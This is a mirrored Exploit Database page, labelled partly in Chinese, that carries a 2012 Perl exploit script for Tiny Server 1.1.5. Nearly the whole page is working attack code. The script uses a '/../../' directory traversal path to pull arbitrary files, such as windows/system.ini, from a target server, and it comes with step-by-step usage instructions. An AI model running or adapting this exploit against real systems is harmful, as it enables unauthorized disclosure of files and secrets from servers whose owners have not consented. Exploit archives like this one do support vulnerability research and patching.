Tiny Server 1.1.5 – Arbitrary File Disclosure

• Exploit Database
• 52 阅读

• 作者： KaHPeSeSe
  日期： 2012-03-16
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18610/

• #!/usr/bin/perl -w
  #Title: Tiny Server v1.1.5 Arbitrary File Disclosure Exploit
  #Author : KaHPeSeSe
  #Test : PERFECT XP PC1 / SP3
  #Date : 15/03/2012
  #Thanks : exploit-db.com
  
  use LWP::Simple;
  use LWP::UserAgent;
  
  	system('color','A');
  	system('cls');
  	
  			print "\n\t____________________________________________________________________\n";
  			print "\n\t....... Tiny Server v1.1.5 Arbitrary File Disclosure Exploit .......\n";
  			print "\n\t....... Founded and Exploited by KaHPeSeSe .......\n";
  			print "\n\t____________________________________________________________________\n\n";
  
  	if(@ARGV < 3)
  		{
  			print "[-] Error!\n";
  			print "[-] Look to example\n\n";
  			&help; exit();
  											}
  	sub help()
  		{
  			print "[+] Howto : perl $0 IP Port File\n";
  			print "[+] Example : perl $0 192.168.1.2 80 windows/system.ini\n";
  											}
  			($TargetIP, $Port, $File) = @ARGV;
  			print("Connet to Server.... \n");
  			sleep(2);
  			$path="/../../";
  			my $link = "http://" . $TargetIP . ":" . $Port . $path . $File;
  			print("Connected\n");
  			sleep(2);
  			print("Waiting for moment\n");
  			sleep(1);
  			print("Done! Reading $File...\n");
  			sleep(3);
  			$ourfile=get $link;
  	if($ourfile)
  		{
  			print("\n\n____________________________________________________\n\n");
  			print("$ourfile \n\n");
  			print("_____________________________________________________\n\n");
  											}
  	else
  	{
  			print("_____________________________________________________\n\n");
  			print(" Not Found !!!\n\n");
  			print("_____________________________________________________\n\n");
  			exit;
  											}